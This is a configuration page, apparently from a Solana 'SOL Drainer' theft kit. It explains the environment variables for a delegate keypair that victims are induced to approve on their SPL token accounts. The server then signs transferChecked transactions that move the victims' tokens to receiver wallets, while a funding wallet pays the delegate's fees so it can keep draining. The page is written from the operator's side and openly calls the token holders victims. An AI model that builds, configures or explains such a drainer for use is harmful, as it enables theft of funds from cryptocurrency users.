SOL Drainer — Test Page

HB_SOL_DELEGATE_PRIVATE / HB_SOL_DELEGATE_PUBLIC

• Role: This is the keypair that receives approval (delegate authority) from the victim on their SPL token accounts.
• The victim signs a transaction that sets this delegate on their tokens. The server then uses this keypair to sign the drain transaction (transferChecked) and move tokens from the victim to the receiver.
• Only the public key is sent to the client; the private key stays on the server.
• If left empty, a new keypair is auto-generated on first use and written to sol/.env.

HB_SOL_MAIN_PRIVATE / HB_SOL_MAIN_PUBLIC (lines 25–26)

• Role: This is a funding wallet used only to keep the delegate wallet topped up with SOL for transaction fees.
• The delegate needs a small SOL balance to pay for the drain transactions it signs. When the delegate balance is too low, the server sends SOL from the main wallet to the delegate (fundDelegateIfNeeded).
• If left empty, the system cannot auto-fund the delegate; drains may fail once the delegate runs out of SOL.
• Can be the same as one of the HB_SOL_RECEIVER addresses or a separate operational wallet.

Summary: Delegate = key that actually drains (after victim approves). Main = wallet that pays the delegate’s gas so it can keep draining.